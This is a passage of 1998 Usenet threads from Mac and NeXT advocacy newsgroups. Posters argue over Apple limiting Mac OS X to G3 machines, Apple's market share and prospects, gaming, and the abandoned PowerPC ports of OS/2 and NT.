commercial, wheras "twice as fast" has a nice ring to it. I would love to
see Apple market Allegro (8.5) aggressively on television--that would be
wonderful. Especially if the adds were as funny and ascerbic as the PPC vs
Intel ads (flaming bunny, etc.)
> That said, it would not be good for Apple to drop support for these recent
> machines. Apple needs to address the 68k owners. It needs to get to the
> owners of LC IIIs and Classics and such.
I disagree, because I think that those users are a lost cause. They are
members of a special camp of Mac users to which I have found no analog in
all the computer field. I'm talking about the buy-it-once folks, those
people who dropped $3000 on a machine and now won't spend the slightest
dime on it. When I did tech support for an ISP for a year (watch out,
anecdotal evidence!) we had many, many users we had to turn away because
their hardware was too poor (14.4 modem, 66 MHz 68040 was our cutoff.)
Their response was universal: "I just spent $3000 five years ago on this
damn thing, and you tell me it's obsolete?!?" They are just totally
disconnected from the computer world, so much that Apple can't reach them,
or they are on an extremely tight budget and have other expenses. Or their
current hardware/software suits their needs and they see no reason to
upgrade whatsoever.
>Obviously faster hardware is not
> compelling enough by itself.
Again, I disagree. Apple's G3s are selling like hotcakes, and faster
hardware is exactly the focus of the advertising campaign. Whether they
are selling to upgraders or to new users, no one really knows yet.
>Apple has advertised the hardware (and
> where not the hardware, the platform) quite a bit. Apple needs to push the
> OS and for users whose machines are indeed too slow or whose architecture
> is outdated, use the OS to bring them to new hardware.
A tough proposition, as you have mentioned before. The true irony here is
that the OS (by which you mean the GUI) isn't going to signifigantly
change with OS X--it will be faster, more stable, and other such things,
but the biggest changes will be invisible to the average user. Say
"preemtive multitasking" on television and watch how fast the thumbs reach
for the channel changer.
> Apple also needs to push games. Games can fuel hardware purchases since
> they require faster and faster hardware to run them acceptably. Apple has
> poopoohed games for a long time. When it hasn't actively discouraged them,
> it has been totally ambivalent about them. Apple needs to be pushing games
> a lot more.
I totally agree with you. Games push more hardware sales on the PC side
than you would believe. Go to GameSpot (www.gamespot.com) and check out
their suggestions for a "minimum" gaming system: 300 MhZ Pentium II, 64 MB
RAM, DVD-ROM, VooDoo II card. To run Unreal at top speed, you need a 400
MHz Pentium II, 96 MB of RAM, A VooDoo II and better have the new 80 MHz
bus on your motherboard.
Luckily, Apple support for games is improving radically; both Jobs and
Tervanian mentioned games in their talks and many, many game companies
were at MacWorld.
> Apple can profit off the obsoletion of old hardware even through the OS. I
> have little problem with that up to a point. Dropping support for the
> pre-G3 PCI PowerMacs goes past that point. I'm even bothered by the lack
> of support for the NuBus PowerMacs, but I can at least understand that.
I think Apple is faced by the proverbial slippery slope, and chose to stay
at the absolute top of the hill rather than put even one foot on the
slide. If they make G3-upgraded Macs work, then the 604e owners will
scream. If they make high-end 604e's like the 9600 work, then the 601/603
crowd will have fits. Apple is just taking the chance that people will
switch rather than bitch. It is a gamble, I agree. You think Apple may
lose it; I think Apple will win it. We could be looking at the same glass
of water and playing the half full/half empty game. Only time will tell,
and we've got a year and a half to wait before anyone knows the real
answer.
michael
--
"If you're bored then you're boring" --Harvey Danger, from Flagpole Sitter
Michael M. Eilers * Fearful Symmetry Designs
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 01:30:09 GMT
Organization: I don't think so
Message-ID: <slrn6ridi8.120.jason@jhste1.dyn.ml.org>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com> <slrn6ri2rs.gl.jason@jhste1.dyn.ml.org> <6pb83o$9i1$1@plo.sierra.com>
Earl Malmrose posted the following to comp.sys.mac.advocacy:
>>And Be Inc. is a bunch of whiners. Much of the hardware (perhaps
>>all?) on the Gossamer board is documented elsewhere - witness the
>>success of the Linux/PowerPC group in getting Linux to run on the
>>G3 (I think they even came up with fixes for Apple's broken OF,
>>IIRC).
>No, they're not whiners, just smart business people. Why waste time
>reverse-engineering specs for a very small platform, when that time can be
>spent improving support of the really big platform?
If they were smart business people they wouldn't have decided to
invest a lot of money in creating a totally incompatible OS that
was based on a (gag!) C++ API.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz>
Message-ID: <35b9372a.0@news.depaul.edu>
Date: 25 Jul 98 01:38:50 GMT
In comp.sys.next.advocacy Martin Cox <mcox@ihug.co.nz> wrote:
> In article <not-2407981312520001@ip-26-162.phx.primenet.com>,
> not@a.valid.email.add (Michael M. Eilers) wrote:
> >If you really think Apple could buy itself out of its current position on
> >OS X, then I can see why you would believe the above. However, throwing
> >more people at a problem does not get it solved faster.
> The issue is testing. Testing involves people and machines.
Testing is only part of the battle. After testing comes fixing, and
that means programming, which doesn't respond well to throwing
bodies at it.
> But the issue is that "new hardware" isn't an _upgrade_ for the current
> high-end PCI Macs. It is, as someone else has said, a _replacement_ of
> existing hardware with no gain in functionality other than the ability to
> run OS X. And a significant cost (what do you think the sale value of a
> 9600 will be when OS X is released?)
For businesses, at least, upgrade normally means replace.
> It _was_ a marketing decision. Apple deceided that it would not/could not
> produce OS X for PCI Macs within the _marketing_ time frame they set
> themselves.
That's not a marketing deadline. That's a survival deadline. If Apple
doesn't ship it, they're dead. Period. No waffling is allowed.
> >Apple's perception has been negative for 10 years running. OS X is nothing
> >new, in that sense.
> So your point is that "we've had a lot of bad news over the years, some
> more bad news won't make any difference to anyone"? I beg to differ...
> The accumulation of "bad news" is hardly a healthy thing, is it?
Not shipping OS/X in time would be much, much worse news than not
supporting pre-G3's.
> If OS X was available for Jo Bloggs DTP Company Limited to use on their
> existing G3-equipped cluster of 9600's then it's a no-brainer. Buy the OS
> upgrade and carry on with the 9600's until Apple releases some hardware
> that actually makes upgrading attractive enough. From every point of view
> it makes the most sense for the company.
If they're a serious business, they'll buy real G3's to run OS/X. It'll
pay for itself pretty fast. They can keep the 9600's and use them
to run MacOS X/Server.
> Since it isn't, and since Jane Smith, CFO and IT Manager would have to buy
> new hardware either way, they'll take that opportunity to reevaluate their
> position. Something _they_wouldn't_otherwise_have_done_.
> They may well find that a Wintel solution would be preferable to relying on
> a company that they now perceive as being unwilling to support otherwise
> high end Macs. The very high end Macs they'd have to buy. Particularly
> since, to a user, the differences between a G3 9600 and a G3 Mac are
> actually negative.
If they've got all this money to spend on overpriced G3 accelerators,
they've got money to buy G3's. Furthermore, moving to Windows would
be a far, far worse waste of their investment.
--
"... and subpoenas for all." - Ken Starr
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 20:00:05 -0700
Message-ID: <see-below-2407982000060001@dynamic57.pm05.mv.best.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <adtEwM9zJ.4DA@netcom.com>
In article <adtEwM9zJ.4DA@netcom.com>, adt@netcom.com (Anthony D.
Tribelli) wrote:
> Matthew Vaughan (see-below@not-my-address.com) wrote:
>
> : Oh, so the G3 PowerMacs must also be obsolete, right? Regardless of when
> : they were introduced. They have only 5MB/sec SCSI which is fairly
> : worthelss for many professional users (in fact slower than shipped on the
> : 8500/8600/9500/9600/7300/7600), ...
>
> That's only the built-in SCSI which is presumably intended for little
> beyond simple connectivity of low speed external devices, Apple's online
> store shows that an ultra wide PCI card is added when upgrading a G3's
> drives from EIDE to SCSI. I'm sure this card has an external connector.
Oh yes, we all know about that, but we also know that by the time you add
a UW-SCSI card, 100MBit fast ethernet, and a high-speed graphics card
(such as the IXMicro)...you have _zero_ PCI slots left. Hardly a solution
for a professional user, as you certainly know.
> However, I would not argue against the suggestion that some G3 models are
> downgrades compared to some of the 8x00/9x00 models. The G3-only
> possibility remains more of a political limitation than a technical one, I
> hope it doesn't happen.
I hope so too. I understand perfectly well that it's a matter of
resources, but I think they should look again at what precicesly those
resources are being allocated to, to be absolutely 100% sure that what
they're spending their time on is really that much more important that
supporting the 8x00/9x00 lines at least. I think if it's a matter of
delaying SMP support for 6 months, for instance, that might be a good
tradeoff. There are certainly other examples.
> Tony
> --
> ------------------
> Tony Tribelli
> adtribelli@acm.org
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
Date: Fri, 24 Jul 1998 22:34:32 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407982234350001@elk55.dol.net>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com>
In article <35B8E0E1.7202D351@ericsson.com>, Michael Peck
<Michael.Peck@ericsson.com> wrote:
> Joe Ragosta wrote:
>
> > You don't think OS/2 for PPC could have made a dent? There are millions of
> > OS/2 users.
>
> Is OS/2 still shipping, Joe? I wonder if you know. Does it make a dent
> in your consciousness? There are millions of Solaris users, too. And
> there are plenty of AIX users and HP/UX users. Do they make a dent, to
> you?
OS/2 _is_ still shipping, but not for PPC. And what's your point about AIX
and HP/UX?
>
> > Or Windows NT? Last time I checked, NT is selling reasonably well.
>
> Last time I checked, Microsoft has not yet agreed to port Windows NT to
> PPC. Check me if I'm wrong. I don't remember Microsoft being a part of
> the "bargain".
You're wrong. NT 4.0 _was_ ported to PPC. MS just decided not to continue it.
>
> > But you'll insist until the end that it's all Apple's fault whenever
> > something fails to live up to its full promise.
>
> No, just when it's Apple's fault. Duh.
Which you still haven't provided a shred of evidence for.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Fri, 24 Jul 1998 22:40:02 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2407982240030001@elk55.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net>
In article <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> I certainly agree with you on this one. I keep asking the Apple apologists
> here (I'm a Mac advocate, not an Apple advcate. Apple's blunders and
> overall incompetence is 100% responsible for the Mac's poor position in the
> market) one overall crucial question: Apple is doing ok today, BUT WHERE
> ARE THEIR CUSTOMERS GOING TO COME FROM TWO-TO-FIVE YEARS DOWN
> THE ROAD???????
>
> They never answer. Reason? They don't know either.
Nope. They never answer because you're asking a question that is
unanswerable. If you really think you can predict the computer market 5
years down the road, I'll pay you to manage my IRA.
Apple's market share is increasing.
Their mind share is increasing.
They're making money.
Cash flow remains positive.
They've addressed most of the serious problems they faced.
APPLE IS DOING WELL. I don't need to try to predict the future. They
survived the years when their market share was declining, they were losing
money, and their mind share was 100% negative. I'm not worried about their
survival now that everything has turned around.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 25 Jul 1998 07:15:42 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: xRe: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-2507980715430001@elk43.dol.net>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <not-2307981605420001@ip-26-117.phx.primenet.com> <see-below-2307982247510001@dynamic18.pm10.mv.best.com> <MPG.1022d9c818b298639899f2@news.supernews.com> <6pbi2q$mbd@newsb.netnews.att.com>
In article <6pbi2q$mbd@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Especially, if the argument is that the MacOS makes you more
> productive, I think the order-of-magnitude faster machine makes
> you more productive (and I don't mean just a factor of 2 here).
While I agree with much of what you've said. I disagree with this--for
most users.
For a few high end graphics users or people who really stress the CPU,
this is true. But the huge majority of computer users are limited by their
typing speed, or the time it takes them to navigate folders, or file
management, or getting data through their 28.8 or 56K modem, or figuring
out what to do next and a faster computer won't help much.
Which, I believe, is Apple's point: "We're going to continue to improve
Mac OS 8.x for the people who don't need the next generation. Mac OS X is
for power users".
It's not that different from the Win95/NT split.
> Especially if MacOS X is going to be as good as the hype, and
> if it is bundled with the machine, it is going to be an extremely
> productive platform. I do sympathize with those on tight budgets,
> but by the time MacOS X ships, Apple should have a $700 or less
> very decent iMac-class machine.
>
> -arun gupta
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 00:05:01 -0700
Organization: EarthLink Network, Inc.
Message-ID: <Macghod-2507980005020001@sdn-ar-001casbarp150.dialsprint.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net>
In article <joe.ragosta-2407982240030001@elk55.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Apple's market share is increasing.
Really? What was the worldwide marketshare for apple in q2 98? How about
this last quarter?
> Their mind share is increasing.
I absolutely agree with this
> They're making money.
> Cash flow remains positive.
> They've addressed most of the serious problems they faced.
>
> APPLE IS DOING WELL.
Oh please, give us a break. Apple has made a upturn, they arent heading
towards death like they were before stevey wonder came on board. But that
cancer that went into remission still their, and you cant call this well.
What is their marketshare right now? Take the highest market share number
for each of the last 12 years, what would the ranking for this years be?
The best? The second best? The 2nd to last?
--
Joe [Ragosta], do not look directly at the RDF. What you want
to do is punch a hole in a piece of cardboard and
make a pin-hole camera to observe the RDF from a safe distance.
- Sal Denaro
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 18:58:13 +1000
Organization: University of Queensland
Message-ID: <6pc6np$jcd$1@bunyip.cc.uq.edu.au>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <slrn6rgr5c.39f.jason@jhste1.dyn.ml.org> <joe.ragosta-2407980808030001@wil49.dol.net> <35B88F92.F794FF48@nstar.net> <joe.ragosta-2407981108350001@wil63.dol.net> <35B8E0E1.7202D351@ericsson.com> <joe.ragosta-2407982234350001@elk55.dol.net> <35B987C5.FA589658@nstar.net>
Michael Peck <mjpeck@nstar.net> wrote in message
35B987C5.FA589658@nstar.net...
>Joe Ragosta wrote:
>
>> OS/2 _is_ still shipping, but not for PPC. And what's your point about
AIX
>> and HP/UX?
>
>Ragosta dodges...
>
>> You're wrong. NT 4.0 _was_ ported to PPC. MS just decided not to continue
it.
>
>No, Ragosta, you're wrong. Microsoft never ported NT to PPC.
So the PPC directories on my NT 3.51 and 4.0 CDs are just a figment of my
imagination ?
>
>> Which you still haven't provided a shred of evidence for.
>
>Head. in. sand.
>
>MJP
Date: Sat, 25 Jul 1998 06:57:36 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Message-ID: <joe.ragosta-2507980657360001@elk43.dol.net>
References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com> <35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net> <6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net> <6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net> <35B7ABED.1AFBFB66@ericsson.com> <jpolaski-2407980852040001@d151-33.ce.mediaone.net> <35B892EE.D87B3ED9@nstar.net> <gmgraves-2407981156090001@sf-usr1-51-179.dialup.slip.net> <joe.ragosta-2407982240030001@elk55.dol.net> <Macghod-2507980005020001@sdn-ar-001casbarp150.dialsprint.net>
In article <Macghod-2507980005020001@sdn-ar-001casbarp150.dialsprint.net>,
Macghod@concentric.net (Steve Sullivan) wrote:
> In article <joe.ragosta-2407982240030001@elk55.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> > Apple's market share is increasing.
>
> Really? What was the worldwide marketshare for apple in q2 98? How about
> this last quarter?
I've posted this. The last overall market share figure showed that Apple
had climbed from 3.5% to 4%. Their retail share had climbed from 7% to
9.5%. Their educational market share climbed from 32% to 38%.
>
>
> > Their mind share is increasing.
>
> I absolutely agree with this
>
> > They're making money.
> > Cash flow remains positive.
> > They've addressed most of the serious problems they faced.
> >
> > APPLE IS DOING WELL.
>
> Oh please, give us a break. Apple has made a upturn, they arent heading
> towards death like they were before stevey wonder came on board. But that
> cancer that went into remission still their, and you cant call this well.
> What is their marketshare right now? Take the highest market share number
> for each of the last 12 years, what would the ranking for this years be?
> The best? The second best? The 2nd to last?
I really don't care. I don't measure success merely by market share. The
number of people who buy a product is not the sole (and sometimes not even
a major) determinant in how the company is doing.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 08:21:25 -0500
Organization: Prairie Group
Message-ID: <MPG.102397d1f704c34d9899f3@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net>
In article <joe.ragosta-2407981626250001@wil51.dol.net>,
joe.ragosta@dol.net says...
> Motorola stopped making PPC boxes.
>
> APPLE HAD NOTHING TO DO WITH ANY OF THOSE THINGS.
>
Weren't Motorola's boxes Mac clones, and so when Apple killed the
cloning, the boxes were no longer viable? Or are you talking about other
boxes?
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: Sat, 25 Jul 1998 08:22:58 -0500
Organization: Prairie Group
Message-ID: <MPG.1023982d4aa606579899f4@news.supernews.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com>
In article <35B8F293.F58D0926@ericsson.com>, Michael.Peck@ericsson.com
says...
> Joe Ragosta wrote:
>
> > IBM dropped OS/2 for PPC.
> > Microsoft dropped NT for PPC.
> > Sun dropped Solaris for PPC.
> > Novell dropped Netware for PPC.
> >
> > Motorola stopped making PPC boxes.
> > Be stopped making PPC boxes.
> >
> > APPLE HAD NOTHING TO DO WITH ANY OF THOSE THINGS.
>
> Now we really get to the crux of it. No, you are completely wrong. Apple
> had *everything* to do with all of these things.
>
What did Apple have to do with the dropping of OS/2, NT, Solaris,
Netware, and Be? I think you may be right about Motorola, but one out of
six isn't "all of these things".
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 08:45:44 -0500
Organization: Prairie Group
Message-ID: <MPG.10239d85c7aea4289899f7@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6p0pif$bnq$1@nnrp1.dejanews.com> <6p2a6v$d0g$1@nntp6.u.washington.edu> <6p2uf0$a3m$1@nnrp1.dejanews.com> <6p30ts$r04$1@nntp6.u.washington.edu> <mazulauf-2407981051100001@grumpy.met.utah.edu>
In article <mazulauf-2407981051100001@grumpy.met.utah.edu>,
mazulauf@atmos.met.utah.edu says...
> The first quote is from the White Paper, discussing the future of the Mac
> OS, and how it would run on the hardware platform "Available Today" (Oct
> 18, 1994).
>
> The next quote describes how Copland would not run on 68K Macs, as
> previously thought. Instead they say it will run on PPC Macs (and
> clones!) with the PPC on the motherboard. Since NuBus macs were still
> being sold then, the statement was understood to include them.
>
> Legally binding? Maybe not. But we all know what they were saying.
Yup. It said that the project known as Copland would run on all PPC
Macs. If Copland had shipped and that wasn't true, not all PPCs could
run it, you'd have a major point.
Apple also said that all current programs would run as a full-fledged app
(binary-compatible). This will not be true with OS X. I don't find this
upsetting.
Copland was specced to be built by a much larger Apple. It was specced
too big, and it failed. Apple's been rifling the pockets of the corpse
to bring some parts into OS 8.x, and 8.x will run on all machines Copland
was promised for.
Mac OS X is a whole new project. All together now, "OS X is not
Copland." It has different specs, and is specced to be built by a much
smaller Apple. In many ways, it won't do all that Copland was said to
do. In other ways, it will do more. They are different projects, and
the range the run on, will be different.
> So I'll say it again (all together now!): anyone who buys a G3 (or
> whatever) now, planning on running OS X (or whatever) later is a fool.
If the only reason you buy it is for running OS X, yes, that is foolish.
If you need to buy a new computer anyway, the fact that OS X will run on
G3 is a good reason to choose the G3.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 08:47:49 -0500
Organization: Prairie Group
Message-ID: <MPG.10239e02414127b9899f8@news.supernews.com>
References: <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu>
In article <Pine.SOL.3.96.980724150050.26891B-100000@ux8.cso.uiuc.edu>,
tokarek@uiuc.edu says...
> If the only purpose of the investment is to get something out of selling
> the computer, then you're right. That is _not_ the only purpose of having
> a computer. The return does not come from its resale value, but from the
> use of it as a tool to get whatever it is you want done. If the return is
> personal entertainment or a specific product or anything the owner deems
> valuable, then the computer was a sound investment so long as the owner
> thinks it was worth at least as much as it cost.
>
I have my money in Japanese antiques. (Three year-old VCRS.)
Joke stolen from Andrew Tobias
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 08:52:43 -0500
Organization: Prairie Group
Message-ID: <MPG.10239f2a79c544019899f9@news.supernews.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <see-below-2407980002030001@dynamic18.pm10.mv.best.com> <not-2407981144330001@ip-26-164.phx.primenet.com> <gmgraves-2407981753310001@sf-usr1-29-157.dialup.slip.net>
In article <gmgraves-2407981753310001@sf-usr1-29-157.dialup.slip.net>,
gmgraves@slip.net says...
> I already have a G3 in my PowerComputing machine, and it cost me a fortune
> and I am big time pissed about my machine not running OS-X. Apple may
> placate some with this dual strategy OS, but I'm not one of them.
>
Actually, if the company that made your card is still around, and the
problem is drivers and testing, the company may well make OS X
compatible.
Right now, we don't know. Heck, you may still be surprised if it comes
out and runs quite well on your system, nobody knows what's going to
happen. All that we know is support of G3 machines is guaranteed, and
support of other machines is not. (And we're pretty sure that non-PCI
machines are out.)
Donald
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 14:43:38 GMT
Organization: I don't think so
